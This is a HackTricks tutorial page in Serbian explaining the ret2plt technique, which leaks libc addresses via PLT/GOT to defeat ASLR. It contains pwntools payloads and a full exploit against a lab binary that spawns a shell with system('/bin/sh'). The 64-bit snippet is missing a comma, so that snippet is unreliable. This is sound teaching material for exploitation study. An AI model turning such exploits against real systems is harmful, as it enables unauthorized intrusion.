Ret2plt
Reading time: 3 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Cilj ove tehnike bi bio da izvuče adresu iz funkcije iz PLT-a kako bi se moglo zaobići ASLR. To je zato što, na primer, ako izvučete adresu funkcije puts
iz libc-a, možete zatim izračunati gde je osnova libc
i izračunati ofsete za pristup drugim funkcijama kao što su system
.
Ovo se može uraditi sa pwntools
payload-om kao što je (odavde):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Napomena kako se puts
(koristeći adresu iz PLT-a) poziva sa adresom puts
koja se nalazi u GOT-u (Global Offset Table). To je zato što do trenutka kada puts
ispiše GOT unos puts
, ovaj unos će sadržati tačnu adresu puts
u memoriji.
Takođe, obratite pažnju kako se adresa main
koristi u eksploitu, tako da kada puts
završi svoju izvršavanje, binarni program ponovo poziva main
umesto da izlazi (tako da će otkrivena adresa ostati važeća).
caution
Napomena kako da bi ovo funkcionisalo, binarni program ne može biti kompajliran sa PIE ili morate pronaći leak da zaobiđete PIE kako biste znali adresu PLT-a, GOT-a i main. U suprotnom, prvo morate zaobići PIE.
Možete pronaći potpun primer ovog zaobilaženja ovde. Ovo je bio konačni exploit iz tog primera:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Drugi primeri i reference
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bita, ASLR omogućen, ali bez PIE, prvi korak je popuniti prelivanje do bajta 0x00 kanarija, a zatim pozvati puts i otkriti ga. Sa kanarijom se kreira ROP gadget za pozivanje puts da bi se otkrila adresa puts iz GOT-a i zatim ROP gadget za pozivanje
system('/bin/sh')
- https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bita, ASLR omogućen, bez kanarija, prelivanje steka u main iz funkcije deteta. ROP gadget za pozivanje puts da bi se otkrila adresa puts iz GOT-a, a zatim pozvati jedan gadget.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.